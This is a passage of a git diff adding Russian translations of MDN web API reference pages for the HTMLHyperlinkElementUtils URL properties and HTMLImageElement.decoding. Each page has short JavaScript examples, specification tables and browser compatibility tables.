+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("26.0")}}<sup> [2][3</sup>]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 26 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<p>[3] До Gecko 49, для URL, начинающихся с <code>blob,</code> ошибочно возвращался <code>null</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/password/index.html b/files/ru/web/api/htmlhyperlinkelementutils/password/index.html
new file mode 100644
index 0000000000..668749a367
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/password/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.password
+slug: Web/API/HTMLHyperlinkElementUtils/password
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/password
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.password</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий пароль, указанный перед именем домена.</p>
+
+<p><code>password</code> игнорируется без предупреждения, если свойство <code><a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">username</a></code> не установлено.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.password;
+<em>object</em>.password = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Вернет: 'flabada'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] С Gecko 26 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html
new file mode 100644
index 0000000000..9f6fb68608
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.pathname
+slug: Web/API/HTMLHyperlinkElementUtils/pathname
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/pathname
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.pathname</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий первый <code>'/'</code> после хоста с последующим текстом URL.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.pathname;
+<em>object</em>.pathname = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Вернет: '/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/port/index.html b/files/ru/web/api/htmlhyperlinkelementutils/port/index.html
new file mode 100644
index 0000000000..2ab4461fc4
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/port/index.html
@@ -0,0 +1,108 @@
+---
+title: HTMLHyperlinkElementUtils.port
+slug: Web/API/HTMLHyperlinkElementUtils/port
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/port
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.port</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий номер порта.</p>
+
+<p>При значении <code>'' будет использоваться</code> порт по умолчанию для указанного протокола (не <code>0</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.port;
+<em>object</em>.port = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.port"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.port; // Вернет: '80'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-port', 'HTMLHyperlinkElementUtils.port')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html b/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html
new file mode 100644
index 0000000000..d7b3b4327f
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.protocol
+slug: Web/API/HTMLHyperlinkElementUtils/protocol
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/protocol
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.protocol</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий протокол URL включая <code>':'</code> в конце.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.protocol;
+<em>object</em>.protocol = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.protocol"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.protocol; // Вернет: 'https:'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-protocol', 'HTMLHyperlinkElementUtils.protocol')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/search/index.html b/files/ru/web/api/htmlhyperlinkelementutils/search/index.html
new file mode 100644
index 0000000000..7c23ed4fc8
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/search/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.search
+slug: Web/API/HTMLHyperlinkElementUtils/search
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/search
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.search</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий <code>'?'</code> с последующими параметрами URL.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.search;
+<em>object</em>.search = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.search; // Вернет: '?q=123'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html
new file mode 100644
index 0000000000..aa8d9362c0
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.toString()
+slug: Web/API/HTMLHyperlinkElementUtils/toString
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Location
+  - Method
+  - Stringifier
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/toString
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Метод <strong><code>HTMLHyperlinkElementUtils.toString()</code></strong> возвращает {{domxref("USVString")}}, содержащий URL целиком. Это версия {{domxref("HTMLHyperlinkElementUtils.href")}} только для чтения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.toString();</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// <code class="language-js"><span class="comment token">Допустим, что документ содержит элемент</span></code> &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString(); // Вернет: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит этот метод.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/username/index.html b/files/ru/web/api/htmlhyperlinkelementutils/username/index.html
new file mode 100644
index 0000000000..c4da9f8b58
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/username/index.html
@@ -0,0 +1,104 @@
+---
+title: HTMLHyperlinkElementUtils.username
+slug: Web/API/HTMLHyperlinkElementUtils/username
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/username
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.username</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий имя пользователя, указанное перед именем домена.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.username;
+<em>object</em>.username = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Вернет: 'anonymous'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] С Gecko 26 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlimageelement/decoding/index.html b/files/ru/web/api/htmlimageelement/decoding/index.html
new file mode 100644
index 0000000000..f1c6109bcb
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/decoding/index.html
@@ -0,0 +1,67 @@
+---
+title: HTMLImageElement.decoding
+slug: Web/API/HTMLImageElement/decoding
+translation_of: Web/API/HTMLImageElement/decoding
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <strong><code>decoding</code></strong> интерфейса {{domxref("HTMLImageElement")}} предназначено для указания браузеру, как он должен декодировать изображение.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>refStr</var> = <var>imgElem</var>.decoding;
+<var>imgElem</var>.decoding = <var>refStr</var>;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>{{domxref("DOMString")}} предоствляет указания по декодированию. Возможные значения:</p>
+
+<dl>
+ <dd>
+ <ul>
+  <li><strong><code>sync</code></strong>: Декодировать изображение синхронно для отображения одновременно с другим содержимым.</li>
+  <li><strong><code>async</code></strong>: Декодировать содержимое асинхронно для уменьшения задержки в отображении другого содержимого.</li>
+  <li><strong><code>auto</code></strong>: Режим по умолчанию, который не отдаёт предпочтения ни одному режиму декодирования, предоставляя браузеру решать, какой режим для пользователя оптимальнее.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js;highlight:[3]">var img = new Image();
+img.decoding = 'sync';
+img.src = 'img/logo.png';
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#dom-img-decoding', 'decoding')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам pull запрос.</div>
+
+<p>{{Compat("api.HTMLImageElement.decoding")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/img">&lt;img&gt;: The Image Embed element</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/htmlimageelement/image/index.html b/files/ru/web/api/htmlimageelement/image/index.html
new file mode 100644
index 0000000000..1c96e0f2d1
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/image/index.html
@@ -0,0 +1,36 @@
+---
+title: Image()
+slug: Web/API/HTMLImageElement/Image
